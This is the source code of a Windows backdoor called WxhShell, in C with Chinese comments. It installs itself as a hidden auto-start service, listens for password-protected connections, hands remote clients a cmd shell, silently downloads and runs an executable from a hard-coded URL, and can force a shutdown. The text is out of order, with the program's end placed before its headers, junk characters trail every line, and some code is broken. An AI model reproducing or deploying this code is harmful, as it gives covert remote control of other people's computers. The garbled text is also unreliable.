    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !d&SVS^mo  
    if(Boot(SHUTDOWN)) * BKIA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A().1h1_k  
    else { B z? (?fyd  
    closesocket(wsh); [JKLlR  
    ExitThread(0); @PV3G KJ  
    } Mp06A.j[  
    break; Z6#(83G4  
    } 4A)_D{(SH  
  // 获取shell Q+*@!s  
  case 's': { KebC$g@W  
    CmdShell(wsh); A'n{K#  
    closesocket(wsh); WNSEc%  
    ExitThread(0); J7wIA3.O  
    break; 0E#?H0<OeG  
  } cUTG! P\R  
  // 退出 " f.9u  
  case 'x': { B#4'3Y-3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  Y+Cv9U0  
    CloseIt(wsh); HqXS-TG  
    break; $V;0z~&!'  
    } _Zus4&'  
  // 离开 P?J\p J1|7  
  case 'q': { ')ZZ)&U>z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =m 6<H  
    closesocket(wsh); (#nB90E{*  
    WSACleanup(); `!<#'PR  
    exit(1); nZ[`Yrq)0  
    break; 4xgfm.9I^  
        } vw :&c.zd  
  } !ezy  v`  
  } Ks-$([_F   
zGa V^X  
  // 提示信息 ,,;vG6^a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  NG?g(  
} T>w;M?`9K  
  } 8Yf=)  
uG(XbDZZ1W  
  return; EPU3Jban  
} [0lO0ik>G  
.:=5|0m  
// shell模块句柄 rN'}IS@5  
int CmdShell(SOCKET sock) \{= {{O  
{ w{ P l  
STARTUPINFO si; av~kF  
ZeroMemory(&si,sizeof(si)); cXK.^@du  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p MR4]G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; " :V@AT  
PROCESS_INFORMATION ProcessInfo; }brBhe8a  
char cmdline[]="cmd"; 0B"_St}3D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Jt3*(+J>/  
  return 0; 8d(l)[GZt  
} Dlz1"|SF  
}j{Z &(K  
// 自身启动模式 "p[3^<~uQ  
int StartFromService(void) Y)7\h:LIg  
{ I2z6iT4nB  
typedef struct $?u LFD  
{ oG c9 6B%  
  DWORD ExitStatus; " Rn@yZV  
  DWORD PebBaseAddress; UQjYWXvi  
  DWORD AffinityMask; pW_mS|  
  DWORD BasePriority; *A0*.>@N  
  ULONG UniqueProcessId; `E |>K\  
  ULONG InheritedFromUniqueProcessId; b{;LbHq+G  
}   PROCESS_BASIC_INFORMATION; $Km~x  
x M{SFF  
PROCNTQSIP NtQueryInformationProcess; 7{38g  
iyr<qtwK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U "v=XK)!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M|7][! <G!  
U5[r&Y D  
  HANDLE             hProcess; py6O\` \  
  PROCESS_BASIC_INFORMATION pbi; gps.  
# ELYPp]6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %- Ga  ^[  
  if(NULL == hInst ) return 0; _O&P!hI  
hHgH'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rVwW%&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @/xdWN!,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Bnw^W _  
=KHX_ib  
  if (!NtQueryInformationProcess) return 0; {Rn*)D9  
@_?Uowc8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zKThM#.Wa  
  if(!hProcess) return 0; #)4p ,H  
S~M/!Xb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ps*iE=D  
umt(e:3f5  
  CloseHandle(hProcess); -/_hO$|W  
le6eorK8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0Z{u;FI  
if(hProcess==NULL) return 0; $?On,U  
y:k7eE"  
HMODULE hMod; S";}gw?r6  
char procName[255]; Eo@rrM:  
unsigned long cbNeeded; t-Ble  
t-SZBNb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 79B+8= K  
C|]Zpn#{K  
  CloseHandle(hProcess); u$qazj  
Y6 a9S`o  
if(strstr(procName,"services")) return 1; // 以服务启动 G6qFAepwi  
}S{VR(i`J  
  return 0; // 注册表启动 'l3 DP  
} # S0N`V  
pL: r\Y:R  
// 主模块 <3x:nH @  
int StartWxhshell(LPSTR lpCmdLine) a..LbQQ  
{ KBA& s  
  SOCKET wsl; Z>*a:|  
BOOL val=TRUE; L%Ms?`i,  
  int port=0; sTvw@o *  
  struct sockaddr_in door; uEkGo5  
;aH3{TS  
  if(wscfg.ws_autoins) Install(); 2#Qw  
W+Ou%uv}S  
port=atoi(lpCmdLine); :\^jIKvZ  
W>u{JgY  
if(port<=0) port=wscfg.ws_port; sHQO*[[  
9TEAM<b;  
  WSADATA data; J\Tu=f)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vnqLcNB H  
 3bHB$n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (W#^-*$R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /1eeNbd  
  door.sin_family = AF_INET; 6 kD.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NleMZ  
  door.sin_port = htons(port); 9 $^b^It  
eL [.;_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $)6x3&]P  
closesocket(wsl); 7_J0[C!G  
return 1; }/jWa |)f  
} gI/(hp3ob  
{uxTgX  
  if(listen(wsl,2) == INVALID_SOCKET) { I(j$^DA.  
closesocket(wsl); >|mZu)HIY;  
return 1; 8Ep!  
} 3teP6|K'g  
  Wxhshell(wsl); xdMY2u  
  WSACleanup(); z7pw~Tqlz  
eKRE1DK  
return 0; biRkq c;  
ADA}_|O  
} W9S6 SO^\  
.u]d5z BR  
// 以NT服务方式启动 v=DC3oh-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u R]8ZT")  
{ Dn`  
DWORD   status = 0; z~ua#(z1S  
  DWORD   specificError = 0xfffffff; V14+?L  
GQ sE5Vb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; SQ<{X/5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B[d%?L_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F:AVik  
  serviceStatus.dwWin32ExitCode     = 0; z Ece>=C  
  serviceStatus.dwServiceSpecificExitCode = 0; }taG/kE62  
  serviceStatus.dwCheckPoint       = 0; 7@&kPh}PG  
  serviceStatus.dwWaitHint       = 0; ^_BjO(b'e  
4h T!DS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |Z8Eu0RSb  
  if (hServiceStatusHandle==0) return; (IIZvCek  
&g]s@S|%  
status = GetLastError(); HE0m#  
  if (status!=NO_ERROR) I/u>Gt  
{ B?4Iu)bCxI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5>hXqNjP2  
    serviceStatus.dwCheckPoint       = 0; @QE&D+NS  
    serviceStatus.dwWaitHint       = 0; VFKFO9  
    serviceStatus.dwWin32ExitCode     = status; D58RHgY[  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6_K7!?YG7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); AB<%GzW0(  
    return; w"L]?#  
  } #X0Xc2}{f  
_/YM@%d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xl9S=^`=  
  serviceStatus.dwCheckPoint       = 0; tjQ6[`  
  serviceStatus.dwWaitHint       = 0; dV /Es  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .UvDew/Y  
} ,:0!+1  
szXqJG8|  
// 处理NT服务事件,比如:启动、停止 IA$=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Uy?X-"UR  
{ 55=YM'5]  
switch(fdwControl) &w:0ad|  
{ 3mL(xpT.8z  
case SERVICE_CONTROL_STOP: lHE \Z`  
  serviceStatus.dwWin32ExitCode = 0; R0K{wY58  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; AEUR` .  
  serviceStatus.dwCheckPoint   = 0; O^_CqT%  
  serviceStatus.dwWaitHint     = 0; :k2 J &@8  
  { 0qm CIcg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h-U]?De5\  
  } qKE+,g'  
  return; yh'*eli  
case SERVICE_CONTROL_PAUSE: -J0I2D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S|?P#.=GX  
  break; g'2}Y5m$`  
case SERVICE_CONTROL_CONTINUE: @.,'A[D!K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +wZ|g6vMct  
  break; =&~ K;=:  
case SERVICE_CONTROL_INTERROGATE: n*caP9B  
  break; V(Cxd.u   
}; |hX\ep   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R7c42L\QA  
} D`U,T& @  
qC q?`0&#  
// 标准应用程序主函数 n*Hx"2XF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @VyF' ?}  
{ QHd|cg  
=F_j})O5  
// 获取操作系统版本 Ox@$ }  
OsIsNt=GetOsVer(); 9t8ccr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A,c_ME+DVB  
 O`Htdnu  
  // 从命令行安装 SZ:R~4 A  
  if(strpbrk(lpCmdLine,"iI")) Install(); zoBp02j  
r4fd@<=g  
  // 下载执行文件 g[;&_gL  
if(wscfg.ws_downexe) { ;u<F,o(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Swgvj(y;!A  
  WinExec(wscfg.ws_filenam,SW_HIDE); V7vojm4 O  
} ] #7baZ  
w:](F^<s,  
if(!OsIsNt) { v~0lZe  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,^jQBD4={  
HideProc(); 65tsJ"a<  
StartWxhshell(lpCmdLine); >f D%lq;  
} Ex6Kxd}8  
else R<^E?FI   
  if(StartFromService()) 9f CU+s  
  // 以服务方式启动 bNHs jx@  
  StartServiceCtrlDispatcher(DispatchTable); TQOJN  
else 2}_^~8  
  // 普通方式启动 Sg13Dp @x  
  StartWxhshell(lpCmdLine); 5!jt^i]O  
D0L s~qr  
return 0; Ga` 8oY+~  
} bPMf='F{r  
SQN{/")T  
<~e*YrJ?-  
5f75r  
=========================================== hTPvt  
%D7'7E8.  
cW ?6Iao  
To-$)GQ@W  
#IeG/t(  
\*pS 4vy5x  
" ClufP6'  
^c"\%!w"O  
#include <stdio.h> Psm9hP :m  
#include <string.h> |T-Y tuy8  
#include <windows.h> }S%}%1pG7  
#include <winsock2.h> ES#q/yab5  
#include <winsvc.h> rMJ4w['J=  
#include <urlmon.h> 24f N3  
9e&*+ +vf  
#pragma comment (lib, "Ws2_32.lib") mXu";?2  
#pragma comment (lib, "urlmon.lib") J3'0^JP*  
PGb}Y {  
#define MAX_USER   100 // 最大客户端连接数 0:x+;R<P*w  
#define BUF_SOCK   200 // sock buffer |=W>4>  
#define KEY_BUFF   255 // 输入 buffer )P|/<>z  
V1A7hRjxvG  
#define REBOOT     0   // 重启 G$~hAZ  
#define SHUTDOWN   1   // 关机 Y"dTm;&  
k1LbWR1%wB  
#define DEF_PORT   5000 // 监听端口 hJX;/~L  
#t VGqf  
#define REG_LEN     16   // 注册表键长度 9gZS )MZ  
#define SVC_LEN     80   // NT服务名长度 !_?HSDAj"n  
EPM(hxCIQ  
// 从dll定义API V3axwg_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @Q:?,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fL gHQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YT@N$kOg_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]ij:>O@{$  
5yp  
// wxhshell配置信息 E.yc"|n7l2  
struct WSCFG { Ae<;b Of  
  int ws_port;         // 监听端口 g}vU*g ;  
  char ws_passstr[REG_LEN]; // 口令 wD@ wOC  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^(:na6C  
  char ws_regname[REG_LEN]; // 注册表键名 j>~ @vq  
  char ws_svcname[REG_LEN]; // 服务名 (e<p^T J]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `2'*E\   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f&X M|Bg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0b2;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5'xZ9K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^!O2Fw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {Hw$`wL  
=J )(=,  
}; If|i `,Iy  
U"Z %_[*  
// default Wxhshell configuration `?T8NK  
struct WSCFG wscfg={DEF_PORT, lPz5.(5'  
    "xuhuanlingzhe", ]O~/k~f  
    1, x6|QTO  
    "Wxhshell", be.Kx< I  
    "Wxhshell", |^GN<y^cn  
            "WxhShell Service", |mz0 ]  
    "Wrsky Windows CmdShell Service", /jOug>s  
    "Please Input Your Password: ", =[Tf9u QY  
  1, <"S/M]9  
  "http://www.wrsky.com/wxhshell.exe", b~K-mjJI  
  "Wxhshell.exe" u_$Spbc]/  
    }; >k u7{1)  
IZ]L.0,  
// 消息定义模块 ML X: S?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oXqx]@7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tNW0 C]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C}]rx{xC  
char *msg_ws_ext="\n\rExit."; b*< *,Ds/G  
char *msg_ws_end="\n\rQuit."; 5}_,rF?cX  
char *msg_ws_boot="\n\rReboot..."; K]i2$M  
char *msg_ws_poff="\n\rShutdown..."; '9 <APUyu  
char *msg_ws_down="\n\rSave to "; ,q Bu5t  
uL@'Hv A  
char *msg_ws_err="\n\rErr!"; T9gQq 7(l  
char *msg_ws_ok="\n\rOK!"; iLFhm4.PO  
xCm`g {  
char ExeFile[MAX_PATH]; AdRt\H<  
int nUser = 0; |CjdmQ u  
HANDLE handles[MAX_USER]; 3. g-V  
int OsIsNt; j<i: rk|  
VHU,G+ms  
SERVICE_STATUS       serviceStatus; JZcW?Or  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r$Y% 15JV  
&E!-~'|z  
// 函数声明 B 6,X)  
int Install(void); Q__1QUu  
int Uninstall(void); 7me1 :}4  
int DownloadFile(char *sURL, SOCKET wsh); R<1[hH9"o  
int Boot(int flag); /?:]f  
void HideProc(void); fOO[`"'Pq  
int GetOsVer(void); \"A~ks~  
int Wxhshell(SOCKET wsl); 'gz@UE1  
void TalkWithClient(void *cs); @nF#\  
int CmdShell(SOCKET sock); cUr'mb  
int StartFromService(void); ]F,v#6qi  
int StartWxhshell(LPSTR lpCmdLine); LD}ZuCp!  
U^$l$"~"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LpSd/_^b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %:.00F([r  
a7l-kG=R;  
// 数据结构和表定义 $RV'DQO  
SERVICE_TABLE_ENTRY DispatchTable[] = -ID!kZx  
{ n15lX,FI  
{wscfg.ws_svcname, NTServiceMain}, C`C$i>X7^  
{NULL, NULL} O7T wM Yh  
}; &k {1N.  
Yy8%vDdJO  
// 自我安装 jQ Of+ZE  
int Install(void) ^2um.`8  
{ `LCxxpHi|  
  char svExeFile[MAX_PATH]; _6Fj&mw(u  
  HKEY key; }U7 ><I  
  strcpy(svExeFile,ExeFile); .;9I:YB$  
M7n|Z{?(  
// 如果是win9x系统,修改注册表设为自启动 1)wzSEV@  
if(!OsIsNt) { dg42K`E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nc%ly *  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _ ;_NM5  
  RegCloseKey(key); E&RK My)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'B4j=K*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  fj])  
  RegCloseKey(key);  &+Pcu5  
  return 0; K3^N_^H  
    } &`[Dl(W  
  } c1p*}T  
} fmj-&6  
else { |7l*  
rF5O?<(  
// 如果是NT以上系统,安装为系统服务 nXqZkZE\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hSD uByoi  
if (schSCManager!=0) S[cVoV  
{ c)fTI,.$  
  SC_HANDLE schService = CreateService O hcPlr  
  ( geu8$^  
  schSCManager, z,B'I.)M  
  wscfg.ws_svcname, !B{N:?r  
  wscfg.ws_svcdisp, ro4 XA1  
  SERVICE_ALL_ACCESS, KBo/GBD]|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nr<&j#!L  
  SERVICE_AUTO_START, hUy\)GsT  
  SERVICE_ERROR_NORMAL, j5;eSL@ /  
  svExeFile, K"r'w8  P  
  NULL, }x1*4+Y1  
  NULL, kyc Z  
  NULL, M&iA^Wrs  
  NULL, T!N,1"r  
  NULL ZO $}m?  
  ); t`X-jr)g  
  if (schService!=0) lvz&7Zb  
  { 7:t *&$  
  CloseServiceHandle(schService); <t0o{}^P*  
  CloseServiceHandle(schSCManager); ye)CfP=ID\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?5!>k^q  
  strcat(svExeFile,wscfg.ws_svcname); G6(U\VFqO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;yO7!{_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +<P%v k  
  RegCloseKey(key); ')/yBH9mR  
  return 0; Dh|8$(Jt  
    } =@>[  
  } z`D;8x2b  
  CloseServiceHandle(schSCManager); ggUJ -M'2h  
} yA+:\%y$  
} ?qt>;o|Ue  
8j} CP  
return 1; 4W9#z~'  
} 5? `*i"  
#Xc6bA&  
// 自我卸载 Q1Sf7)  
int Uninstall(void) X,<n|zp  
{ ^ cn)eA  
  HKEY key; \P_1@sH=  
eJrJ5mlI`  
if(!OsIsNt) { H}QOoXWkg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b_]14 v  
  RegDeleteValue(key,wscfg.ws_regname); D@(Y.&_  
  RegCloseKey(key);  `Up Zk?k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {g *kr1JM  
  RegDeleteValue(key,wscfg.ws_regname); Yl+r>+^  
  RegCloseKey(key); W|@/<K$V  
  return 0; {Ah\-{]  
  } r~uWr'}a}  
} GyOo$FW  
} 3cNF^?\=  
else { ozbu|9 +v  
$gN1&K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^t=Hl  
if (schSCManager!=0) mT8($KQ  
{ ~/6m|k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  Yq.Cz:>b  
  if (schService!=0) sW B;?7P  
  { )} y1  
  if(DeleteService(schService)!=0) { eXI^9uH  
  CloseServiceHandle(schService); vb-L "S?kC  
  CloseServiceHandle(schSCManager); /u }AgIb  
  return 0; E3\O?+ h#  
  } )x-iru A:  
  CloseServiceHandle(schService); :mU,g|~55  
  } 9i8D_[  
  CloseServiceHandle(schSCManager); D84`#Xbi  
} U<**Est  
} `<h}Ygo>k/  
\5$N> 2kO  
return 1; dIG(7 ~  
} ,o}!pQ  
n_%JXm#\  
// 从指定url下载文件 L\8 tqy.  
int DownloadFile(char *sURL, SOCKET wsh) iXc-_V6  
{ QW.VAF\6*  
  HRESULT hr; k, )7v  
char seps[]= "/"; ANy=f-V  
char *token; AfG!(AF`  
char *file; SxYX`NQ  
char myURL[MAX_PATH]; ?]081l7cd  
char myFILE[MAX_PATH]; CE>RAerY  
sT9P  
strcpy(myURL,sURL); /H=fK  
  token=strtok(myURL,seps); )FM/^  
  while(token!=NULL) l|`%FB^k  
  { UB]} j^  
    file=token; C26PQGo#$  
  token=strtok(NULL,seps); ^.F@yo2}  
  } g83!il\  
)p>BN|L  
GetCurrentDirectory(MAX_PATH,myFILE); 7'_zJI^  
strcat(myFILE, "\\"); AG2iLictv  
strcat(myFILE, file); MPMJkL$F^  
  send(wsh,myFILE,strlen(myFILE),0); .9WJ/RKZ\D  
send(wsh,"...",3,0); l tr =_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KE+y'j#C3  
  if(hr==S_OK) >b#z o,  
return 0; qx<`Kc4  
else lztPexyXZ  
return 1; lcij}-z:%e  
[1'`KJ]  
} x2.G1  
e =Vu;  
// 系统电源模块 EVMhc"L  
int Boot(int flag) ]`&EB~K&NY  
{ *A`hKx  
  HANDLE hToken; | QJ!5nb  
  TOKEN_PRIVILEGES tkp; G8@({EY  
%O;"Z`I  
  if(OsIsNt) { iLn)Z0<\o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6#O n .Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LbtcZ)D!  
    tkp.PrivilegeCount = 1; Dg/&m*Yl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M ]W'>g)G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;"\e aKl  
if(flag==REBOOT) { 0ANqEQX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b5 YE4h8%  
  return 0; "g\  
} g>x2[//pk  
else { H1f){L97wR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5.#r\' Z#  
  return 0; _CP e  
} "-kb=fY  
  }  Z $Ynar  
  else { Y4}!9x  
if(flag==REBOOT) { D{h1"q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T{bM/?g  
  return 0; ;Yyg(Ex  
} Rk56H  
else { f .rz2)o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _wKFT>  
  return 0; [kgT"?w=  
} Q <EFd   
} (F]f{8  
w`,[w,t  
return 1; FZz\z p  
} )MLOYX  
_L(6F T J  
// win9x进程隐藏模块 -*k%'Gr  
void HideProc(void) #O z<<G<  
{ g/W<;o<v(I  
cUaLv1:HI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R~CQ=KQ.  
  if ( hKernel != NULL ) eCMcr !.  
  { Gk*Mx6|N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vY<(3[pp  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "0+_P{w+  
    FreeLibrary(hKernel); @P6K`'.0  
  } U^?/nRZ  
M ZZ4  
return; Z&@X4X"q  
} =- ~82%  
K_oBSa`  
// 获取操作系统版本 bS<lB!  
int GetOsVer(void) \f1r/e(G|  
{ #tKc!]m  
  OSVERSIONINFO winfo; 0K`3BuBs  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |[}YM %e  
  GetVersionEx(&winfo); ]nhLv!Co  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1[C,*\X8v  
  return 1; j./3)  
  else $[}31=0  
  return 0; X{o.mN  
} `{CaJ6.  
%+i g7a:  
// 客户端句柄模块 BHOxwW{  
int Wxhshell(SOCKET wsl) YQ g03i  
{ {f3)!Pei`J  
  SOCKET wsh; m'XzZmI  
  struct sockaddr_in client; RD_&m?d  
  DWORD myID; 6*gMG3  
5Y#yz>B@ ]  
  while(nUser<MAX_USER) n>)CCf@H  
{ kdman nM  
  int nSize=sizeof(client); v2G_p |+O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Pon 2!$  
  if(wsh==INVALID_SOCKET) return 1; IrjKI.PR  
Aga2 I#1r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4~hd{8  
if(handles[nUser]==0) D)8&v` L S  
  closesocket(wsh); a9mLPP  
else I1BVqIt1i  
  nUser++; *L%HH@] %_  
  } F(^vD_G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oqB(l[%z2  
JGX E{FT  
  return 0; n'v[[bmu  
} [MdVgJ9'  
HvN!_}[  
// 关闭 socket _-x|g~pV*  
void CloseIt(SOCKET wsh) }RYr)  
{ Zk"'x,]#  
closesocket(wsh); dE^:-t  
nUser--; {=PO`1H  
ExitThread(0); )&+j#:  
} UGj!I  
ZK1d3  
// 客户端请求句柄 [94A?pn[z  
void TalkWithClient(void *cs) ;U<;R  
{ Q}d6+C  
$Lv,e\]  
  SOCKET wsh=(SOCKET)cs; 7f#e#_sM;  
  char pwd[SVC_LEN]; fQ=Yf?b  
  char cmd[KEY_BUFF]; E#v}//  
char chr[1]; z4b2t}  
int i,j; rQ(Aj  
3ox%1x NA  
  while (nUser < MAX_USER) { I!dA{INN  
CO%7^}xSE,  
if(wscfg.ws_passstr) { GL_YT.(!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5'd$TC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0=#:x()e  
  //ZeroMemory(pwd,KEY_BUFF); cKdn3 2Y4  
      i=0; rE;*MqYt&  
  while(i<SVC_LEN) { yhJH3<  
v{Al>v}}n  
  // 设置超时 O $'# 8  
  fd_set FdRead; 9cp-Rw<tI  
  struct timeval TimeOut; Urj8v2k  
  FD_ZERO(&FdRead); D)U 9xA)J  
  FD_SET(wsh,&FdRead); g&!UaJ[#9  
  TimeOut.tv_sec=8; Hdw;=]-  
  TimeOut.tv_usec=0; C=IT`iom1C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &YGd!Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;e4 15T  
9+ nB;vA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ci4`,  
  pwd=chr[0]; VdjS\VYe,  
  if(chr[0]==0xd || chr[0]==0xa) { H=9kDP${  
  pwd=0; ExeD3Zj  
  break; K#_&}C^-jY  
  } R8I%Cyc  
  i++; _VGAh:v  
    } -KhNsUQk  
z0+LD  
  // 如果是非法用户,关闭 socket Y#S<:,/sb?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p:Ry F4{b2  
} ayfR{RYi  
~7+7{9g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GPz0qK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _v bCC7Bf8  
Y<-h#_  
while(1) {  <K;  
C]414Ibi  
  ZeroMemory(cmd,KEY_BUFF); %V71W3>6WS  
!TvNT}4Z  
      // 自动支持客户端 telnet标准   H )hO/1 m  
  j=0; L[lX?g?Ob  
  while(j<KEY_BUFF) { h/5|3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z<L}ur  
  cmd[j]=chr[0]; 7/+I"~  
  if(chr[0]==0xa || chr[0]==0xd) { ;$,=VB:'  
  cmd[j]=0; e+6mbJ7y  
  break; pFgpAxl  
  } "BT*9N=|  
  j++; _HF66)X7  
    } |a4cER.'2^  
a?jUm.  
  // 下载文件 |0ATH`{  
  if(strstr(cmd,"http://")) { "5 ;fuM1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w^z5O6   
  if(DownloadFile(cmd,wsh)) ,`PC^`0c}o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LvtHWt  
  else 5{Q5?M]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X-LCIT|1  
  } */c4b:s  
  else { Lh%z2 5t  
WoM;)Q  
    switch(cmd[0]) { -]el_:H  
  E|{(O  
  // 帮助 ]H| O  
  case '?': { 9<n2-l|)  
